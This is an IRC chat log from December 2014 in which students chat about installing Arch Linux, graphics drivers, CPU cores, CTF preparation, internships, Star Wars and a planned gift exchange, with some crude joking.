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[2014-12-17T01:20:21-0500] <@awe> nezorg: it's a gait tracker ;)
[2014-12-17T01:20:43-0500] • nezorg: gathers the pebbles
[2014-12-17T01:26:30-0500] <@awe> I need to finish that book.
[2014-12-17T01:26:32-0500] <@awe> It was great.
[2014-12-17T01:27:10-0500] <Tamini_> you cant say its great until you finish it
[2014-12-17T01:27:30-0500] <Tamini_> its like jacob saying GEB is his favorite book without ever finishing it
[2014-12-17T01:34:23-0500] <@awe> Well, it was going well.
[2014-12-17T01:34:27-0500] <@awe> I was really liking it.
[2014-12-17T01:37:07-0500] <Tamini_> :)
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[2014-12-17T08:54:50-0500] <+JacobEdelman> mailbot, any news for me
[2014-12-17T08:54:50-0500] <mailbot> JacobEdelman: 12 hours ago, awe said your programming language makes me sad.
[2014-12-17T08:54:50-0500] <mailbot> JacobEdelman: 9 hours ago, hardmath123 said push your whitespace-friendly Lark so that we mortals can read it.
[2014-12-17T08:54:50-0500] <mailbot> JacobEdelman: 8 hours ago, Tamini said alokpathy leaked info about hsctf :OO yell at him.
[2014-12-17T08:54:50-0500] <mailbot> JacobEdelman: 8 hours ago, alokpathy said I didn't actually leak anything significant. .
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[2014-12-17T10:46:58-0500] <+LittleBobbyTables> ;o what information got leaked!?
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[2014-12-17T11:15:57-0500] <alokpathy> Tamini: I am so mad
[2014-12-17T11:16:02-0500] <alokpathy> about usaco silver 3
[2014-12-17T11:16:30-0500] <alokpathy> it's actually really easy, but I spent so long on number 1 for idiotic reasons that I only had 20 minutes for number 3 .-.
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[2014-12-17T16:50:06-0500] <+JacobEdelman> so
[2014-12-17T16:50:13-0500] <+JacobEdelman> I pushed the whitespace styling update
[2014-12-17T16:50:17-0500] <+JacobEdelman> lark is now pretty
[2014-12-17T16:50:20-0500] <+JacobEdelman> well, prettier
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[2014-12-17T17:08:45-0500] <nezorg> so
[2014-12-17T17:08:52-0500] <nezorg> I'm currently considering installing arch
[2014-12-17T17:08:57-0500] <nezorg> I am not sure if I am insane or not
[2014-12-17T17:09:11-0500] <bob_twinkles> arch is pretty easy to install
[2014-12-17T17:09:27-0500] <nezorg> okay, insane wasn't the right word
[2014-12-17T17:09:36-0500] <nezorg> I guess I mean I'm not sure if it will actually be an improvement
[2014-12-17T17:09:41-0500] <bob_twinkles> over?
[2014-12-17T17:09:47-0500] <nezorg> ubuntu
[2014-12-17T17:09:57-0500] <nezorg> I'm just really annoyed at it right now because it's making customizing some things hard
[2014-12-17T17:10:09-0500] <bob_twinkles> that wouldn't be a problem on arch =P
[2014-12-17T17:10:16-0500] <nezorg> my ubuntu setup is already fairly customized, though
[2014-12-17T17:10:29-0500] <nezorg> but I can't figure out how to change theme colors
[2014-12-17T17:10:40-0500] <bob_twinkles> gnome3 theme?
[2014-12-17T17:10:54-0500] <nezorg> I have my gtk+ theme set correctly
[2014-12-17T17:10:59-0500] <nezorg> but it does not change anything
[2014-12-17T17:11:09-0500] <bob_twinkles> gtk2 or gtk3 theme
[2014-12-17T17:11:15-0500] <nezorg> gtk3
[2014-12-17T17:11:20-0500] <nezorg> I guess I'll try changing the 2 one
[2014-12-17T17:11:21-0500] <bob_twinkles> that's all CSS
[2014-12-17T17:11:24-0500] <nezorg> yeah
[2014-12-17T17:11:52-0500] <nezorg> I changed `background-color` in TerminalScreen (in gnome-terminal.css) to be black
[2014-12-17T17:11:57-0500] <nezorg> but it's still purple :S
[2014-12-17T17:12:30-0500] <nezorg> I'm looking at this screenshot and it's so pretty! https://camo.githubusercontent.com/6d5a790b09c207a5f7f835559cf9dfb9deb62b21/68747470733a2f2f692e696d6775722e636f6d2f50713033664c782e6a7067
[2014-12-17T17:12:39-0500] <nezorg> awe: seen this yet? https://github.com/Kintaro/wtftw
[2014-12-17T17:12:55-0500] <@awe> Yeah.
[2014-12-17T17:13:02-0500] <@awe> Heard about it, anyway.
[2014-12-17T17:13:03-0500] <@awe> Is it good?
[2014-12-17T17:13:38-0500] <@awe> The screenshot looks nice.
[2014-12-17T17:13:53-0500] <nezorg> I haven't tried it
[2014-12-17T17:14:08-0500] <nezorg> as I said, I'm currently annoyed at ubuntu :S
[2014-12-17T17:14:36-0500] <@awe> nezorg: arch will improve customizability.
[2014-12-17T17:15:36-0500] <nezorg> yeah, but I'm not sure if I wanna go through the install process right now
[2014-12-17T17:15:45-0500] <nezorg> last time I tried it took me too many hours :'(
[2014-12-17T17:15:52-0500] <@awe> The initial install should only take about an hour.
[2014-12-17T17:16:02-0500] <nezorg> to get to a prompt, yeah
[2014-12-17T17:16:04-0500] <@awe> Then configuring your system is a rabbit hole that lasts over a lifetime.
[2014-12-17T17:16:52-0500] <nezorg> I'm also a little worried about driver support
[2014-12-17T17:17:00-0500] <@awe> Drivers should be the same?
[2014-12-17T17:17:03-0500] <nezorg> installing nvidia drivers last time was not fun
[2014-12-17T17:17:06-0500] <@awe> Oh, heh.
[2014-12-17T17:17:07-0500] <nezorg> whereas ubuntu makes it easy
[2014-12-17T17:17:18-0500] <@awe> I've only done Arch on systems with very FOSS-compatible hardware.
[2014-12-17T17:17:30-0500] <@awe> (An Asus EEE pc)
[2014-12-17T17:17:31-0500] <nezorg> nouveau is too slow :(
[2014-12-17T17:17:39-0500] <@awe> Right.
[2014-12-17T17:19:36-0500] <nezorg> also I feel like I'm the only one who likes systemd
[2014-12-17T17:19:42-0500] <@awe> No?
[2014-12-17T17:19:47-0500] <nezorg> although ubuntu will be getting that soon anyway
[2014-12-17T17:19:53-0500] <@awe> systemd is super nice.
[2014-12-17T17:22:24-0500] <nezorg> I'm also afraid of fucking up my system in the install
[2014-12-17T17:27:04-0500] <@awe> nezorg: /shrug
[2014-12-17T17:37:33-0500] <nezorg> huh, apparently nouveau, once they figure out clocking to the highest performance state, will actually be fairly competitive with the proprietary drivers: http://www.phoronix.com/scan.php?page=article&item=nouveau_linux318_blob&num=3
[2014-12-17T17:37:52-0500] <nezorg> (the one card where it can, the gtx 650, the difference is only 87 vs 109 fps)
[2014-12-17T17:42:49-0500] <nezorg> oh, apparently the proprietary nvidia driver is available as a package in arch
[2014-12-17T17:42:54-0500] <nezorg> wonder if it works
[2014-12-17T17:44:09-0500] <nezorg> ooooh 7 MB/s download 8)
[2014-12-17T17:46:12-0500] <@awe> nezorg: me every time I download things
[2014-12-17T17:46:22-0500] <@awe> nezorg: downloading sims 3 for the girlfriend at 10mb/s
[2014-12-17T17:46:39-0500] <+Tamini> lol
[2014-12-17T17:50:01-0500] <nezorg> we used to have half the speeds
[2014-12-17T17:50:08-0500] <nezorg> I'm still amazed every time I download something now
[2014-12-17T17:50:22-0500] <nezorg> still not google fiber though :(
[2014-12-17T17:50:27-0500] <nezorg> (nor university internet...)
[2014-12-17T17:54:26-0500] <nezorg> okay, I guess I'll try installing arch on my desktop
[2014-12-17T17:54:37-0500] <nezorg> since I have an ssd in there I'm not using...
[2014-12-17T17:56:06-0500] <+Tamini> oh, whoa
[2014-12-17T17:56:08-0500] <+Tamini> yu're installing arch?
[2014-12-17T17:56:23-0500] <+Tamini> wait but darn, you're too op to be my "lets fail at arch together" buddy
[2014-12-17T17:56:23-0500] <nezorg> thinking about it, at least
[2014-12-17T17:56:30-0500] <nezorg> lol
[2014-12-17T17:57:57-0500] <@awe> nezorg: I'm on my home internet right now. ;)
[2014-12-17T17:59:05-0500] <nezorg> awe: no, I mean real university internet
[2014-12-17T17:59:08-0500] <nezorg> like in the seclab
[2014-12-17T17:59:17-0500] <nezorg> where bandwidth is literally limited by your switch
[2014-12-17T17:59:27-0500] <@awe> o, yah.
[2014-12-17T17:59:34-0500] <nezorg> like I have discussions with people who talk about how they saturated 30gbps
[2014-12-17T17:59:46-0500] <nezorg> because that was how much their server supported
[2014-12-17T17:59:46-0500] <@awe> lol
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[2014-12-17T17:59:46-0500] <@awe> lol
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[2014-12-17T18:19:47-0500] <alokpathy> woo I got an internship
[2014-12-17T18:20:01-0500] <@awe> alokpathy: congratulations
[2014-12-17T18:20:03-0500] <@awe> alokpathy: where at?
[2014-12-17T18:20:10-0500] <@awe> nezorg: https://github.com/aaronweiss74/markov give me feedback on design pls
[2014-12-17T18:20:29-0500] <alokpathy> awe: Bloomberg
[2014-12-17T18:20:34-0500] <@awe> alokpathy: oo
[2014-12-17T18:20:37-0500] <@awe> alokpathy: my friend works at Bloomberg
[2014-12-17T18:20:44-0500] <alokpathy> awe: The Princeton office?
[2014-12-17T18:20:55-0500] <@awe> no
[2014-12-17T18:20:58-0500] <@awe> Manhattan.
[2014-12-17T18:21:04-0500] <alokpathy> Ah okay
[2014-12-17T18:21:18-0500] <alokpathy> They have an interesting obsession with fish.
[2014-12-17T18:21:24-0500] <@awe> Wat?
[2014-12-17T18:22:10-0500] <alokpathy> I got an office tour, and they have lots of fish tanks.
[2014-12-17T18:22:14-0500] <@awe> Oh, yes.
[2014-12-17T18:22:19-0500] <@awe> Bloomberg's Manhattan office is nicer.
[2014-12-17T18:22:26-0500] <alokpathy> They also have a guy who's paid a good amount to take care of them.
[2014-12-17T18:22:28-0500] <alokpathy> Probably, yeah.
[2014-12-17T18:22:32-0500] <alokpathy> I haven't been there though.
[2014-12-17T18:22:39-0500] <@awe> They have one of three of the world's curved escalators.
[2014-12-17T18:22:40-0500] <@awe> I went on it.
[2014-12-17T18:22:42-0500] <@awe> It was cool.
[2014-12-17T18:23:15-0500] <alokpathy> osheet
[2014-12-17T18:24:28-0500] <@awe> Working at Bloomberg would be nice.
[2014-12-17T18:24:29-0500] <@awe> They pay well.
[2014-12-17T18:25:21-0500] <alokpathy> Yeah, they do.
[2014-12-17T18:26:51-0500] <@awe> https://jobs.github.com/positions/0a9333c4-71da-11e0-9ac7-692793c00b45
[2014-12-17T18:26:59-0500] <@awe> mmm
[2014-12-17T18:27:31-0500] <alokpathy> Sounds like the right job for you :P
[2014-12-17T18:27:55-0500] <@awe> Yeah, I'd love to work at Jane Street.
[2014-12-17T18:28:04-0500] <@awe> I'd also really love to work at Microsoft Research or Mozilla Research.
[2014-12-17T18:29:53-0500] <+Tamini> awe: Jane street pays moppers obnoxious amounts of money to intern iirc
[2014-12-17T18:30:00-0500] <@awe> Of course.
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[2014-12-17T18:30:00-0500] <@awe> Of course.
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[2014-12-17T18:46:55-0500] <nezorg> wow, arch supports wifi even in the installer, nice
[2014-12-17T18:47:06-0500] <nezorg> and wifi-menu is really nice
[2014-12-17T19:47:02-0500] <nezorg> this install is taking a while
[2014-12-17T19:47:09-0500] <nezorg> mainly because dm-crypt is annoying
[2014-12-17T19:52:30-0500] <+LittleBobbyTables> nurds
[2014-12-17T19:57:10-0500] <+Tamini> ur the nurd
[2014-12-17T19:57:30-0500] <+LittleBobbyTables> nou
[2014-12-17T20:01:38-0500] <nezorg> we can all be nerds <3
[2014-12-17T20:01:58-0500] <+ubuntor> gnome3 compiled overnight
[2014-12-17T20:02:01-0500] <+ubuntor> time to test it out
[2014-12-17T20:03:16-0500] <nezorg> ...right, you're doing gentoo now
[2014-12-17T20:03:23-0500] <nezorg> how long did it take to compile?
[2014-12-17T20:03:45-0500] <+ubuntor> don't know, but quite a while
[2014-12-17T20:03:49-0500] <+ubuntor> left it overnight
[2014-12-17T20:03:59-0500] <+ubuntor> around ~250 packages to compile
[2014-12-17T20:04:01-0500] <nezorg> what machine are you on?
[2014-12-17T20:04:08-0500] <+ubuntor> new laptop
[2014-12-17T20:04:12-0500] <nezorg> what processor?
[2014-12-17T20:04:19-0500] <+ubuntor> i7
[2014-12-17T20:04:24-0500] <nezorg> quad or dual core?
[2014-12-17T20:04:24-0500] <+ubuntor> i'll look up which one
[2014-12-17T20:04:28-0500] <+ubuntor> quad
[2014-12-17T20:04:30-0500] <nezorg> huh
[2014-12-17T20:04:33-0500] <+LittleBobbyTables> No i7's are dual core
[2014-12-17T20:04:37-0500] <nezorg> and it was using all cores?
[2014-12-17T20:04:55-0500] <+ubuntor> yeah, -j5 flag to make, i think
[2014-12-17T20:05:07-0500] <nezorg> LittleBobbyTables: http://ark.intel.com/products/83506/Intel-Core-i7-4578U-Processor-4M-Cache-up-to-3_50-GHz
[2014-12-17T20:05:21-0500] <nezorg> ubuntor: I usually double (so `-j8`) because of hyperthreading
[2014-12-17T20:05:28-0500] <nezorg> it probably wouldn't make a huge difference though
[2014-12-17T20:05:51-0500] <@awe> nezorg: compiling GCC used to kill me.
[2014-12-17T20:06:00-0500] <+LittleBobbyTables> Let me correct that, none prebuilt or people actually decide to buy are dual core :P
[2014-12-17T20:06:02-0500] <@awe> nezorg: because it was on awful hardware
[2014-12-17T20:06:12-0500] <+LittleBobbyTables> All the ones in prebuilts and that people recommend are 4 or 6
[2014-12-17T20:06:17-0500] <nezorg> LittleBobbyTables: not true for laptops
[2014-12-17T20:06:27-0500] <nezorg> awe: ah
[2014-12-17T20:19:19-0500] <nezorg> http://www.niemanlab.org/2014/12/fewer-and-fewer-shut-off-valves/
[2014-12-17T20:25:19-0500] <+hardmath123[zzz]> oh my goodness i just discovered ^R in Bash
[2014-12-17T20:25:25-0500] <+hardmath123[zzz]> this changes *everything*
[2014-12-17T20:25:33-0500] <benwaffle> not really
[2014-12-17T20:25:49-0500] <benwaffle> if you have zsh, just do !firstfewletters
[2014-12-17T20:26:05-0500] <benwaffle> it works in bash too, but much nicer in zsh (maybe due to ohmyzsh)
[2014-12-17T20:27:42-0500] <+hardmath123[zzz]> i suppose, but there are lots of instances when you're using the same command with different arguments
[2014-12-17T20:27:54-0500] <+hardmath123[zzz]> (i.e. messy git workflows)
[2014-12-17T20:28:47-0500] <benwaffle> cat x
[2014-12-17T20:28:51-0500] <benwaffle> vim !*
[2014-12-17T20:31:04-0500] • hardmath123[zzz]: is trying to figure those semantics out
[2014-12-17T20:34:57-0500] <@awe> nezorg: "I am a grossly overpaid public university professor,"
[2014-12-17T20:34:58-0500] <@awe> nezorg: wat/
[2014-12-17T20:36:02-0500] <benwaffle> i7 is 8 core w/ hyperthreading
[2014-12-17T20:36:40-0500] <@awe> benwaffle: no
[2014-12-17T20:36:50-0500] <benwaffle> i have one
[2014-12-17T20:37:07-0500] <benwaffle> nproc says 8
[2014-12-17T20:37:18-0500] <@awe> That's including the hyperthreaded "cores"
[2014-12-17T20:37:30-0500] <benwaffle> thats what i said...
[2014-12-17T20:37:31-0500] <@awe> http://www.intel.com/content/www/us/en/processors/core/core-i7-processor.html
[2014-12-17T20:37:37-0500] <@awe> those aren't real cores.
[2014-12-17T20:37:42-0500] <benwaffle> obv
[2014-12-17T20:37:56-0500] <@awe> eight core with hyperthreading means it has eight cores and supports hyperthreading.
[2014-12-17T20:38:09-0500] <benwaffle> not what i meant
[2014-12-17T20:38:10-0500] <@awe> i7s are either quad core or dual core.
[2014-12-17T20:38:36-0500] <@awe> Then say it has eight threads. :p
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[2014-12-17T22:26:14-0500] <alokpathy> awe: What exactly is Nabeel doing on FB? LOL
[2014-12-17T22:29:27-0500] <+Tamini> wait omg
[2014-12-17T22:29:30-0500] <+Tamini> i found a math limerick
[2014-12-17T22:29:39-0500] <+Tamini> http://asgardiantelevision.tumblr.com/post/98151221288/a-limerick
[2014-12-17T22:31:15-0500] <+ubuntor> here's another good one: http://www.pleacher.com/mp/mpoetry/integrl2.html
[2014-12-17T22:39:10-0500] <nezorg> finally, arch is installed
[2014-12-17T22:39:14-0500] <nezorg> at least, I booted to a shell
[2014-12-17T22:39:32-0500] <+Tamini> nezorg: ...did you just rub that in
[2014-12-17T22:39:39-0500] <+Tamini> in the most teenage-girl way possible
[2014-12-17T22:39:45-0500] <nezorg> ...huh?
[2014-12-17T22:39:51-0500] <+Tamini> did you just snapchat me a picture of your os
[2014-12-17T22:39:52-0500] <+Tamini> LOL
[2014-12-17T22:40:01-0500] <nezorg> oh, I didn't mean to rub it in :P
[2014-12-17T22:40:10-0500] <nezorg> it's by no means close to really functioning
[2014-12-17T22:40:14-0500] <+Tamini> :P
[2014-12-17T22:40:17-0500] <+Tamini> yeah i'm saving arch for like
[2014-12-17T22:40:20-0500] <+Tamini> winter break
[2014-12-17T22:40:29-0500] <nezorg> this is a great guide for using dm-crypt: http://blog.philippbeck.net/linux/archlinux-install-encryption-lvm-luks-grub2-69
[2014-12-17T22:40:38-0500] <+Tamini> alok and i were going to cry over "we dont know how this works asdfas" together but he bailed on me to write college apps
[2014-12-17T22:40:42-0500] <+Tamini> like, who even does that? :P
[2014-12-17T22:40:50-0500] <nezorg> lol
[2014-12-17T22:41:10-0500] <+Tamini> also i have two days left and I still have no idea how to binaries
[2014-12-17T22:41:19-0500] <+Tamini> I feel like I'll end up just feeding the 7 teenage boys 
[2014-12-17T22:41:22-0500] <+Tamini> that can be my job :P
[2014-12-17T22:41:35-0500] <nezorg> do you have the vpn working yet?
[2014-12-17T22:41:46-0500] <+Tamini> they're being lazy -_________________-
[2014-12-17T22:41:49-0500] <+Tamini> you?
[2014-12-17T22:41:50-0500] <+Tamini> we
[2014-12-17T22:42:00-0500] <+Tamini> we're* meeting to do setup stuff friday though, so we'll see.
[2014-12-17T22:42:20-0500] <+Tamini> (on a more interesting note, they could not figure out why my parents would not be okay with me sleeping over at a house with 7 guys >_>)
[2014-12-17T22:42:29-0500] <nezorg> :P
[2014-12-17T22:42:34-0500] <nezorg> shellphish is ready
[2014-12-17T22:42:37-0500] <+Tamini> wow
[2014-12-17T22:42:38-0500] <nezorg> we got a vps in germany
[2014-12-17T22:42:40-0500] <+Tamini> LOL
[2014-12-17T22:42:42-0500] <+Tamini> not russia?
[2014-12-17T22:42:45-0500] <+Tamini> not pro enough :P
[2014-12-17T22:42:52-0500] <nezorg> germany had low enough latency
[2014-12-17T22:43:05-0500] <+Tamini> @tell bob_twinkles so can we get a german vps :O
[2014-12-17T22:43:05-0500] <mailbot> Tamini: I'll let them know!
[2014-12-17T22:43:56-0500] <nezorg> I wonder if my parents would be okay with me sleeping over at a house with 7 girls...
[2014-12-17T22:44:01-0500] <nezorg> ...not that that's going to happen
[2014-12-17T22:44:51-0500] <+Tamini> LOL
[2014-12-17T22:44:55-0500] <+Tamini> If I were your parents
[2014-12-17T22:45:00-0500] <+Tamini> I would so NOT trust you in that situation
[2014-12-17T22:45:10-0500] <+Tamini> I'm sure you could talk them into an orgy with minimal effort :P
[2014-12-17T22:45:25-0500] <nezorg> ...wat
[2014-12-17T22:45:37-0500] <+Tamini> yes? :O
[2014-12-17T22:45:45-0500] <nezorg> <Tamini> I'm sure you could talk them into an orgy with minimal effort :P
[2014-12-17T22:45:58-0500] <+Tamini> again, yes? :P
[2014-12-17T22:46:03-0500] <+Tamini> I see nothing wrong or untrue about that statement
[2014-12-17T22:46:17-0500] <+Tamini> its 7 girls that invited you to a sleepover
[2014-12-17T22:46:17-0500] <nezorg> you greatly overestimate the power of the force
[2014-12-17T22:46:21-0500] <+Tamini> they either want it or think you're gay
[2014-12-17T22:46:26-0500] <+Tamini> the latter still makes the orgy easy
[2014-12-17T22:46:26-0500] <nezorg> ah, fair enough
[2014-12-17T22:46:57-0500] <+Tamini> lol, the power of the force
[2014-12-17T22:47:12-0500] <nezorg> ...I was going to say something else but somehow I typed "the force"
[2014-12-17T22:47:17-0500] <+Tamini> LOL
[2014-12-17T22:47:23-0500] <+Tamini> are you a jedi, nezorg
[2014-12-17T22:47:42-0500] <nezorg> if I were a jedi why would I say you *overestimate* the power of the force
[2014-12-17T22:47:56-0500] <+Tamini> but if you're not a jedi how are you even using the force
[2014-12-17T22:48:40-0500] <nezorg> vader isn't a jedi
[2014-12-17T22:48:46-0500] <nezorg> but then again
[2014-12-17T22:48:56-0500] <nezorg> he says other people underestimate the power of the force
[2014-12-17T22:48:57-0500] <nezorg> so
[2014-12-17T22:48:59-0500] <nezorg> nyeh
[2014-12-17T22:49:01-0500] <+Tamini> (I've never watched star wars so I'm kind of talking out of my ass here)
[2014-12-17T22:49:09-0500] <+Tamini> nyeh you :<
[2014-12-17T22:49:17-0500] <nezorg> ................................................
[2014-12-17T22:49:24-0500] <nezorg> you haven't seen star wars?
[2014-12-17T22:49:53-0500] <+Tamini> no
[2014-12-17T22:49:58-0500] <+Tamini> I haven't seen inception either
[2014-12-17T22:50:01-0500] <+Tamini> or LotR
[2014-12-17T22:50:01-0500] <nezorg> how is that even possible
[2014-12-17T22:50:05-0500] <nezorg> well, inception I can understand
[2014-12-17T22:50:19-0500] <nezorg> lotr is more understandable than star wars but less so than inception
[2014-12-17T22:50:22-0500] <+Tamini> lol
[2014-12-17T22:50:25-0500] <+Tamini> I mean I've watched like
[2014-12-17T22:50:30-0500] <+Tamini> clips here and there
[2014-12-17T22:50:32-0500] <nezorg> ...seriously, how can you call yourself a nerd and not have seen star wars?
[2014-12-17T22:50:35-0500] <+Tamini> from star wars
[2014-12-17T22:50:39-0500] <+Tamini> I never said I was a nerd excuse me
[2014-12-17T22:50:40-0500] <+Tamini> :P
[2014-12-17T22:50:43-0500] <+Tamini> OH
[2014-12-17T22:50:44-0500] <+Tamini> WAIT
[2014-12-17T22:50:45-0500] <+Tamini> I SORTA HAVE
[2014-12-17T22:50:49-0500] <nezorg> yeah
[2014-12-17T22:51:07-0500] <+Tamini> I watched 4,5, and 6
[2014-12-17T22:51:11-0500] <nezorg> oh
[2014-12-17T22:51:14-0500] <+Tamini> all condensed into one hourlong block
[2014-12-17T22:51:18-0500] <+Tamini> by skipping all the interesting scenes
[2014-12-17T22:51:20-0500] <nezorg> ...
[2014-12-17T22:51:20-0500] <+Tamini> during english class once
[2014-12-17T22:51:22-0500] <+Tamini> does that count
[2014-12-17T22:51:25-0500] <nezorg> ...no
[2014-12-17T22:52:11-0500] <+Tamini> find me someone to watch nerd movies with then
[2014-12-17T22:52:38-0500] <nezorg> telnet towel.blinkenlights.nl
[2014-12-17T22:53:20-0500] <+Tamini> oh god
[2014-12-17T22:53:21-0500] <+Tamini> LOL
[2014-12-17T22:54:12-0500] <+Tamini> i remember this
[2014-12-17T22:54:29-0500] <nezorg> omg leia's boobs
[2014-12-17T22:54:36-0500] <+Tamini> of course, you.
[2014-12-17T22:54:46-0500] <nezorg> they're so weird
[2014-12-17T22:54:51-0500] <+Tamini> oh my god this is entirely your fault
[2014-12-17T22:54:58-0500] <+Tamini> i wrote like 600 words in the past hour
[2014-12-17T22:55:05-0500] <+Tamini> and like 10 words in the past half hour
[2014-12-17T22:55:09-0500] <+Tamini> what are you doing distracting me omg
[2014-12-17T22:55:14-0500] <nezorg> lol
[2014-12-17T22:55:19-0500] <nezorg> I need to get homework done too
[2014-12-17T22:55:26-0500] <nezorg> but now I'm busy watching star wars
[2014-12-17T22:55:28-0500] <nezorg> I blame you
[2014-12-17T22:55:29-0500] <+Tamini> but you have 3 hours on me
[2014-12-17T22:55:30-0500] <+Tamini> awww
[2014-12-17T22:55:33-0500] <+Tamini> I'm not sorry at all :P
[2014-12-17T22:56:12-0500] <nezorg> :'(
[2014-12-17T22:57:19-0500] <+Tamini> It's okay
[2014-12-17T22:57:24-0500] <+Tamini> winter break soon, right? :P
[2014-12-17T22:57:28-0500] <+Tamini> you can catch up on sleep then
[2014-12-17T22:57:29-0500] <nezorg> true
[2014-12-17T22:57:33-0500] <+Tamini> I was planning to like hibernate for a week
[2014-12-17T22:58:01-0500] <nezorg> I have hacking to teach to hacklings
[2014-12-17T22:58:14-0500] <+Tamini> wat
[2014-12-17T22:58:19-0500] <+Tamini> pls teach me i'm a hackling
[2014-12-17T22:58:21-0500] <+Tamini> *waves hands*
[2014-12-17T22:58:39-0500] <nezorg> perhaps I should record my seminar
[2014-12-17T22:58:47-0500] <nezorg> or livestream it
[2014-12-17T23:01:21-0500] <+Tamini> lol
[2014-12-17T23:01:25-0500] <+Tamini> wait, tell me more about this seminar tho
[2014-12-17T23:01:27-0500] <+Tamini> forreal
[2014-12-17T23:12:55-0500] <alokpathy> o this seems itneresting
[2014-12-17T23:15:04-0500] <+Tamini> alokpathy: but you're already a 1337haxor
[2014-12-17T23:17:30-0500] <alokpathy> Hardly
[2014-12-17T23:17:41-0500] <alokpathy> Even if I am, nezorg is probably worlds better than I am.
[2014-12-17T23:17:58-0500] <alokpathy> It'd be interesting to see his thought process.
[2014-12-17T23:19:57-0500] <+Tamini> ^
[2014-12-17T23:20:06-0500] <+Tamini> an insight into the mind of our God
[2014-12-17T23:20:07-0500] <+Tamini> :P
[2014-12-17T23:21:51-0500] <nezorg> wat
[2014-12-17T23:22:36-0500] <+Tamini> but like
[2014-12-17T23:22:37-0500] <+Tamini> yeah
[2014-12-17T23:22:39-0500] <+Tamini> tell us about this seminar
[2014-12-17T23:22:51-0500] <alokpathy> nezorg: What're you going to be showing them?
[2014-12-17T23:33:40-0500] <+LittleBobbyTables> Anyone wanna buy me Civ BE?
[2014-12-17T23:34:07-0500] <+Tamini> lol
[2014-12-17T23:34:15-0500] <+Tamini> we should totally do irc secret santa
[2014-12-17T23:34:18-0500] <+Tamini> mail gifts <3
[2014-12-17T23:34:25-0500] <+Tamini> ...wait, that could actually be really fun.
[2014-12-17T23:34:39-0500] <@awe> Tamini: you want to watch 4, 5, 6.
[2014-12-17T23:34:43-0500] <@awe> Tamini: 1, 2, and 3 never happened.
[2014-12-17T23:34:54-0500] <+Tamini> heh
[2014-12-17T23:35:57-0500] <nezorg> too bad they didn't make any sequels to the matrix
[2014-12-17T23:37:03-0500] <alokpathy> I should watch Guardians and Interstellar.
[2014-12-17T23:37:11-0500] <nezorg> secret santa sounds fun
[2014-12-17T23:37:28-0500] <+Tamini> can we actually that sounds really nice
[2014-12-17T23:37:31-0500] <nezorg> although if I put any amount of effort into my gift it probably wouldn't get to the recipient until after christmas :S
[2014-12-17T23:37:37-0500] <+Tamini> :P
[2014-12-17T23:37:40-0500] <+Tamini> can we rig the rng
[2014-12-17T23:37:43-0500] <+Tamini> and ehh
[2014-12-17T23:37:49-0500] <+Tamini> the spirit of giftgiving doesn't have to be christmas
[2014-12-17T23:38:27-0500] <nezorg> dammit
[2014-12-17T23:38:31-0500] <nezorg> I can't get my graphics drivers working
[2014-12-17T23:38:33-0500] <@awe> I guess I'd be down for that.
[2014-12-17T23:38:47-0500] <@awe> As long as I get Starbound. ;)
[2014-12-17T23:39:05-0500] <@awe> Nah, something else would probably be more interesting.
[2014-12-17T23:39:16-0500] <+Tamini> lol
[2014-12-17T23:39:27-0500] <@awe> But if anyone wants to get me Starbound as a just-because gift.
[2014-12-17T23:39:29-0500] <@awe> Much love.
[2014-12-17T23:39:38-0500] <+ubuntor> ooh, interested
[2014-12-17T23:39:41-0500] <+Tamini> if I got you
[2014-12-17T23:39:47-0500] <+Tamini> I would totally get you starbound + a better gift
[2014-12-17T23:39:52-0500] <+Tamini> the whole spirit of this involves like
[2014-12-17T23:40:01-0500] <+Tamini> mailing packages which is fun
[2014-12-17T23:40:04-0500] <nezorg> I have a copy of starbound... in my steam library ;C
[2014-12-17T23:40:12-0500] <+Tamini> also this is unfair i have like a 3/n chance of hitting someone in my school :(
[2014-12-17T23:40:16-0500] <+LittleBobbyTables> I'll give you Starbound if you buy me Civ BE <3
[2014-12-17T23:40:26-0500] <+Tamini> nezorg: get 100% orange juice and play it with me pls
[2014-12-17T23:40:31-0500] <@awe> LittleBobbyTables: isn't that like 3x the price?
[2014-12-17T23:40:49-0500] <+LittleBobbyTables> Only if you keep up that attitude it is
[2014-12-17T23:40:57-0500] <nezorg> Tamini: haven't heard of it
[2014-12-17T23:41:02-0500] <nezorg> looks like it's windows-only :'(
[2014-12-17T23:41:11-0500] <+Tamini> wiiiiiiiiiiiine
[2014-12-17T23:41:23-0500] <nezorg> ah
[2014-12-17T23:41:24-0500] <+ubuntor> wait, i've seen that game dev before
[2014-12-17T23:41:27-0500] <+Tamini> it looks super cute
[2014-12-17T23:41:30-0500] <+Tamini> and super fun to play with friends
[2014-12-17T23:41:42-0500] <@awe> Starbound is also fun to play with friends.
[2014-12-17T23:41:52-0500] <nezorg> Tamini: first review steam highlights: "rage-inducing"
[2014-12-17T23:41:54-0500] <+Tamini> awe: a bunch of us used to play starbound together
[2014-12-17T23:41:58-0500] <@awe> :(
[2014-12-17T23:42:04-0500] <+Tamini> with a really crappy torrented copy
[2014-12-17T23:42:05-0500] <+Tamini> but eh
[2014-12-17T23:42:14-0500] <+Tamini> nezorg: that's more fun with friends! <3
[2014-12-17T23:42:22-0500] <nezorg> and "VERY RNG"
[2014-12-17T23:42:25-0500] <+Tamini> literally my ex-boyfriend's best frend got me, him, my ex, and his girlfriend each copies
[2014-12-17T23:42:39-0500] <+Tamini> this can't be the only group of people i can play this game with, lol
[2014-12-17T23:42:52-0500] <nezorg> XD
[2014-12-17T23:42:54-0500] <+ubuntor> oh, from QP shooting dangerous
[2014-12-17T23:43:16-0500] <nezorg> oh, elite: dangerous 1.0'd
[2014-12-17T23:43:18-0500] <+Tamini> nezorg: but its much cute looks much your style
[2014-12-17T23:43:18-0500] <+Tamini> :D
[2014-12-17T23:43:29-0500] • nezorg: glares
[2014-12-17T23:43:38-0500] <@awe> Tamini: I'm pretty sure I'd get you a box of condoms with whatever gift you got because you're so thirsty. ;)
[2014-12-17T23:43:49-0500] <+Tamini> awe: oh, you :P
[2014-12-17T23:43:53-0500] <nezorg> context?
[2014-12-17T23:44:00-0500] <+Tamini> I just hope you don't get me because all you'll send me is a picture of yourself
[2014-12-17T23:44:01-0500] <+Tamini> again
[2014-12-17T23:44:07-0500] <@awe> [23:39:41]  <+Tamini>	if I got you
[2014-12-17T23:44:07-0500] <@awe> [23:39:47]  <+Tamini>	I would totally get you starbound + a better gift
[2014-12-17T23:44:13-0500] <@awe> nezorg: ^
[2014-12-17T23:44:17-0500] <+Tamini> :P
[2014-12-17T23:44:28-0500] <nezorg> ...ah
[2014-12-17T23:44:29-0500] <+Tamini> hey, I just take my gift-giving pretty seriously
